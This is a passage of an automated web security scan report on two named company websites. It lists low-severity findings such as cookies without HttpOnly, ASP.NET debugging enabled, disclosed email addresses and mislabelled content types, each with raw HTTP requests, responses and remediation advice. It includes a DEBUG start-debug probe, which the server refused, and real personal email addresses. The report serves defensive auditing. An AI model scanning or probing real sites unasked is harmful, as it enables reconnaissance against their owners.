The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ClickContact/js.ashx?Agent=950b13d4-72fe-46ca-891d-8922b0525b3e&img=http%3A%2F%2Fwww.dhmiservices.com%2FImageHandler.ashx%3Fimg_id%3D3824 HTTP/1.1
Host: www.dhmiservices.com
Proxy-Connection: keep-alive
Referer: http://www.agentadvantage.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:39:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Length: 623
Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:39:55 GMT; path=/

function load565509113() {
var load = window.open('http://950b13d4-72fe-46ca-891d-8922b0525b3e.dhmiservices.com/ClickContact/popup.aspx?var1=950b13d4-7
...[SNIP]...

4.4. http://www.dhmiservices.com/ImageHandler.ashx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dhmiservices.com
Path:   /ImageHandler.ashx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ImageHandler.ashx?img_id=3824 HTTP/1.1
Host: www.dhmiservices.com
Proxy-Connection: keep-alive
Referer: http://www.agentadvantage.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:40:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: image/png
Content-Length: 5783
Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:40:12 GMT; path=/

.PNG
.
...IHDR...{...).......V.....tEXtSoftware.Adobe ImageReadyq.e<...9IDATx..\y.\Ez.U..sv..9..o.YX..k..m.q.$..!..r.h.........H.lb...d...+...k.pK..5......3>......U...U...1....'..u.........G`.CP.hM
...[SNIP]...

4.5. http://www.dhmiservices.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dhmiservices.com
Path:   /favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /favicon.ico HTTP/1.1
Host: www.dhmiservices.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 11246
Content-Type: image/x-icon
Last-Modified: Wed, 05 Dec 2007 16:04:38 GMT
Accept-Ranges: bytes
ETag: "06f49895837c81:45c2"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 18:41:31 GMT
Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:41:31 GMT; path=/

......00......h...6...00.............. ..........F#..(...0...`...............................H@..................XX......hh......hh......xx............................................................
...[SNIP]...

5. ASP.NET debugging enabled  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dhmiservices.com
Path:   /Default.aspx

Issue detail

ASP.NET debugging is enabled on the server. The user context used to scan the application does not appear to be permitted to perform debugging, so this is not an immediately exploitable issue. However, if you were able to obtain or guess appropriate platform-level credentials, you may be able to perform debugging.

Issue background

ASP.NET allows remote debugging of web applications, if configured to do so. By default, debugging is subject to access control and requires platform-level authentication.

If an attacker can successfully start a remote debugging session, this is likely to disclose sensitive information about the web application and supporting infrastructure which may be valuable in formulating targetted attacks against the system.

Issue remediation

To disable debugging, open the Web.config file for the application, and find the <compilation> element within the <system.web> section. Set the debug attribute to "false". Note that it is also possible to enable debugging for all applications within the Machine.config file. You should confirm that debug attribute in the <compilation> element has not been set to "true" within the Machine.config file also.

It is strongly recommended that you refer to your platform's documentation relating to this issue, and do not rely solely on the above remediation.

Request

DEBUG /Default.aspx HTTP/1.0
Host: www.dhmiservices.com
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Connection: close
Date: Fri, 06 May 2011 18:39:56 GMT
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39
Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:39:56 GMT; path=/

Debug access denied to '/Default.aspx'.

6. Email addresses disclosed  previous  next
There are 3 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


6.1. http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dominionenterprises.com
Path:   /site/scripts/jscalendar-1.0/calendar.js

Issue detail

The following email address was disclosed in the response:

Request

GET /site/scripts/jscalendar-1.0/calendar.js HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:33:44 GMT
Last-Modified: Fri, 22 Jun 2007 00:07:10 GMT
ETag: "1bc1e5-c055-71c78780"
Accept-Ranges: bytes
Content-Type: application/x-javascript
Connection: close

/* Copyright Mihai Bazon, 2002-2005 | www.bazon.net/mishoo
* -----------------------------------------------------------
*
* The DHTML Calendar, version 1.0 "It is happening again"
*
* Details
...[SNIP]...
<mihai_bazon@yahoo.com>
...[SNIP]...

6.2. http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dominionenterprises.com
Path:   /site/scripts/jscalendar-1.0/lang/calendar-en.js

Issue detail

The following email address was disclosed in the response:

Request

GET /site/scripts/jscalendar-1.0/lang/calendar-en.js HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:33:44 GMT
Last-Modified: Fri, 22 Jun 2007 00:07:49 GMT
ETag: "1bc203-e10-741a9f40"
Accept-Ranges: bytes
Content-Type: application/x-javascript
Content-Length: 3600

// ** I18N

// Calendar EN language
// Author: Mihai Bazon, <mihai_bazon@yahoo.com>
// Encoding: any
// Distributed under the same terms as the calendar itself.

// For translators: please use UTF-8 i
...[SNIP]...

6.3. http://www.dominionenterprises.com/site/scripts/s_code.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dominionenterprises.com
Path:   /site/scripts/s_code.js

Issue detail

The following email address was disclosed in the response:

Request

GET /site/scripts/s_code.js HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:33:48 GMT
Last-Modified: Wed, 17 Nov 2010 17:28:27 GMT
ETag: "1bca81-87d4-4964c0"
Accept-Ranges: bytes
Content-Type: application/x-javascript
Connection: close

/*
SiteCatalyst: H.22.1.
kevin.rogers@dominionenterprises.com
10.08.2010
*/

var s_account="dedominion"
var s=s_gi(s_account)
s.charSet="ISO-8859-1"
s.currencyCode="USD"
s.trackDownloadLinks=true
s.trackExternalLinks=true
s.trackInlineStats=true
s.lin
...[SNIP]...

7. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


7.1. http://www.dhmiservices.com/ClickContact/js.ashx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dhmiservices.com
Path:   /ClickContact/js.ashx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /ClickContact/js.ashx?Agent=950b13d4-72fe-46ca-891d-8922b0525b3e&img=http%3A%2F%2Fwww.dhmiservices.com%2FImageHandler.ashx%3Fimg_id%3D3824 HTTP/1.1
Host: www.dhmiservices.com
Proxy-Connection: keep-alive
Referer: http://www.agentadvantage.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:39:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Length: 623
Set-Cookie: BIGipServerdhmweb_http_pool=2237947146.20480.0000; expires=Fri, 06-May-2011 20:39:55 GMT; path=/

function load565509113() {
var load = window.open('http://950b13d4-72fe-46ca-891d-8922b0525b3e.dhmiservices.com/ClickContact/popup.aspx?var1=950b13d4-7
...[SNIP]...

7.2. http://www.dominionenterprises.com/site/scripts/qm_slide_effect.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dominionenterprises.com
Path:   /site/scripts/qm_slide_effect.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /site/scripts/qm_slide_effect.js HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:33:46 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
Last-Modified: Fri, 22 Jun 2007 00:08:43 GMT
ETag: "1bc23c-b5c-775298c0"
Accept-Ranges: bytes
Content-Type: application/x-javascript
Content-Length: 2908

qmad.slide=new Object();qmad.bvis+="qm_slide_a(b.cdiv);";qmad.bhide+="qm_slide_a(a,1);";qmad.br_navigator=navigator.userAgent.indexOf("Netscape")+1;qmad.br_version=parseFloat(navigator.vendorSub);qmad
...[SNIP]...

Report generated by XSS.CX at Mon May 09 07:54:59 CDT 2011.